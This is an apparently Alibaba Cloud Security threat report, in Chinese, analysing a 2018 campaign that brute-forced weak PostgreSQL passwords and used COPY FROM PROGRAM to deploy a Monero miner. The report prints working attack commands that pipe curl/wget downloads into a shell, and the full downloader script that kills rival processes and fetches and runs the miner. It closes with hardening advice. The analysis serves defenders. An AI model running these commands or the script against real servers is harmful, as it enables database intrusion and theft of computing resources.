威胁快报| 首个PostgreSQL数据库批量挖矿实例分析

2018 年 8 月 16 日 阿里云安全

观点/摘要

随着数字货币行业的火热,挖矿已成为攻击者变现的首选方式。而数据库服务器作为算力的重要承载者,也早已成为此类攻击的首选目标。

阿里云安全团队跟踪发现,继Redis\OrientDB等数据库类软件之后,PostgreSQL已逐渐进入此类攻击的目标范畴。预计未来针对其他数据应用服务的此类攻击也会逐步兴起。建议数据库服务提供商和用户在默认安全策略、密码策略等方面需要提高水位,防范潜在的风险。


2018年8月10日晚19点左右,阿里云安全团队首次发现一起利用PostgreSQL PROGRAM特性进行批量挖矿牟利的攻击事件。该攻击者首先利用扫描收集弱密码机器,然后批量登录后使用未公开的 可致RCE的攻击手法部署挖矿软件。

 

本篇我们对整个PostgreSQL数据库批量挖矿实例作了详细的分析:

PostgreSQL数据库说明


PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),它在灵活的 BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如 MySQL 和 Firebird),和专有系统(比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server)之外的另一种选择。

漏洞影响

整个互联网共有336,784对外开放端口的PostgreSQL主机,它已经是互联网数据库服务器的一部分,承载了大量的重要应用和数据。

随着数字货币经济的不断发展,大量的数据库服务和应用(如Redis\OrientDB等)都已经成为了挖矿、木马等僵尸网络的目标对象,而PostgreSQL也在这个攻击列表中。

使用弱密码,或者将服务暴露在公网的9.5以上版本的PostgreSQL 服务器都可能受到此类攻击威胁。一旦被攻击者入侵,机器的计算能力、承载的数据、运行的应用等都将会被入侵者所控制。

攻击事件说明

1.攻击者通过端口扫描批量发现开放了5432端口(PostgreSQL的默认端口)的机器。

2.通过标准弱密码进行爆破尝试,如Postgres/Postgres默认密码即可登录一部分机器

3.通过 PROGRAM 方法按照登录的账户权限执行任意指令。

(注:本漏洞为本地验证,出现ip地址均为本地ip地址)

 

COPY rce_test

  FROM PROGRAM 'curl http://172.16.72.1/1.sh | bash';


在本地实验中所使用的测试只是执行一个简单的 id指令进行测试。

最终结果如下:

指令成功执行。结合越权漏洞一起使用,本攻击方法能够达到执行任意指令的效果。

 

具体到本次事件中的攻击者,只是使用当前用户权限直接部署挖矿脚本

sh -c (wget -q -O- http://204.48.25.175/kworker.sh || curl -fsSL http://204.48.25.175/kworker.sh) | sh

 

 

下载运行的脚本如下所示:

 

#!/bin/sh

XURL="http://204.48.25.175/kw0rker"

XNAME="x"`ls /dev/disk/by-uuid/ | head -n 1 | cut -c 1-8`

XPATH="/tmp/"

XBIN=$XPATH$XNAME

 

download_file(){

    if ! `(wget --no-check-certificate -O $2 $1 || curl $1 -o $2)`; then

        if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then

            python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"

        else

            python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"

        fi

    fi

}

 

run_file(){

    chmod +x $1$2

    command cd $1 && ./$2

    rm -rf $1$2

}

 

keep_running(){

    xpid=`ps -aeo pid,command |grep $XNAME|grep -v grep | awk '{print $1}'`

    `ps -aeo pid,user,command | grep -v grep | grep -v $$ | grep -v $xpid | grep -E "postgres|python|stratum|nohup|/tmp/|sleep" | awk '{print index($3,"post")?"":$1;}' | xargs kill -9`

    `ps -aeo pid,%cpu | grep -v $$ | grep -v $xpid | grep -v grep | awk '{if($2>45){print $1}}' | xargs kill -9`

    p=`ps -aeo command | grep -v defunct | grep $XNAME | grep -v grep | wc -l`

                   if [ ${p} -eq 0 ];then

            sleep 3600

            download_file $XURL $XBIN

            run_file $XPATH $XNAME &

                   fi

}

while true

do

    keep_running

    sleep 5

done


该脚本的实际作用是下载真实的挖矿程序。

攻击者使用门罗币地址:

 

41ixve3yz58LhFbEpVqnbXeeMe7xq6R5uU9jz54iHBqFTddAKfvpSGDUg6xDyoTHSg2uxZQG6FjiE3Em435cypdjLkFNCc8

 

共计获利19.718362120000个门罗比,现价(619元/币)折合人民币12000元左右。

查询该地址归属的算力地址自8月10日中午开始暴涨近4倍。由于该攻击者的攻击手法使用了PostgreSQL9.5之后的一个特性,而这一特性是首次在此类攻击中出现;同时,该攻击者的攻击流量仍然较小,我们相信此时此类攻击手法仍在早期阶段,后期会出现扩散和变异。

安全建议

● 建议加强PostgreSQL的密码策略,不要使用默认的密码或者安全性较弱的密码

● 通过安全组能力设置IP访问白名单,不让非相关的IP地址访问PostgreSQL数据库

更多内容点击阅读原文,关注“阿里云安全” 云栖社区公众号


登录查看更多
0

相关内容

PostgreSQL 是自由的对象-关系数据库服务器(数据库管理系统),在灵活的 BSD 风格许可证下发行。
【2020新书】实战R语言4,323页pdf
专知会员服务
100+阅读 · 2020年7月1日
【干货书】现代数据平台架构,636页pdf
专知会员服务
253+阅读 · 2020年6月15日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
【SIGMOD2020-腾讯】Web规模本体可扩展构建
专知会员服务
29+阅读 · 2020年4月12日
【资源】100+本免费数据科学书
专知会员服务
107+阅读 · 2020年3月17日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
资源|Blockchain区块链中文资源阅读列表
专知会员服务
43+阅读 · 2019年11月20日
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
Kong 1.1 带来声明式配置与无数据库部署模式
开源中国
8+阅读 · 2019年3月28日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
I2P - 适用于黑客的Android应用程序
黑白之道
30+阅读 · 2019年3月6日
使用 Canal 实现数据异构
性能与架构
20+阅读 · 2019年3月4日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
打包看——2018安全与隐私保护论文
计算机研究与发展
7+阅读 · 2019年1月8日
威胁情报驱动:F3EAD 之利用
计算机与网络安全
4+阅读 · 2018年12月28日
Bidirectional Attention for SQL Generation
Arxiv
4+阅读 · 2018年6月21日
Arxiv
3+阅读 · 2018年3月22日
Arxiv
27+阅读 · 2017年12月6日
VIP会员
相关VIP内容
【2020新书】实战R语言4,323页pdf
专知会员服务
100+阅读 · 2020年7月1日
【干货书】现代数据平台架构,636页pdf
专知会员服务
253+阅读 · 2020年6月15日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
【SIGMOD2020-腾讯】Web规模本体可扩展构建
专知会员服务
29+阅读 · 2020年4月12日
【资源】100+本免费数据科学书
专知会员服务
107+阅读 · 2020年3月17日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
资源|Blockchain区块链中文资源阅读列表
专知会员服务
43+阅读 · 2019年11月20日
相关资讯
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
Kong 1.1 带来声明式配置与无数据库部署模式
开源中国
8+阅读 · 2019年3月28日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
I2P - 适用于黑客的Android应用程序
黑白之道
30+阅读 · 2019年3月6日
使用 Canal 实现数据异构
性能与架构
20+阅读 · 2019年3月4日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
打包看——2018安全与隐私保护论文
计算机研究与发展
7+阅读 · 2019年1月8日
威胁情报驱动:F3EAD 之利用
计算机与网络安全
4+阅读 · 2018年12月28日
Top
微信扫码咨询专知VIP会员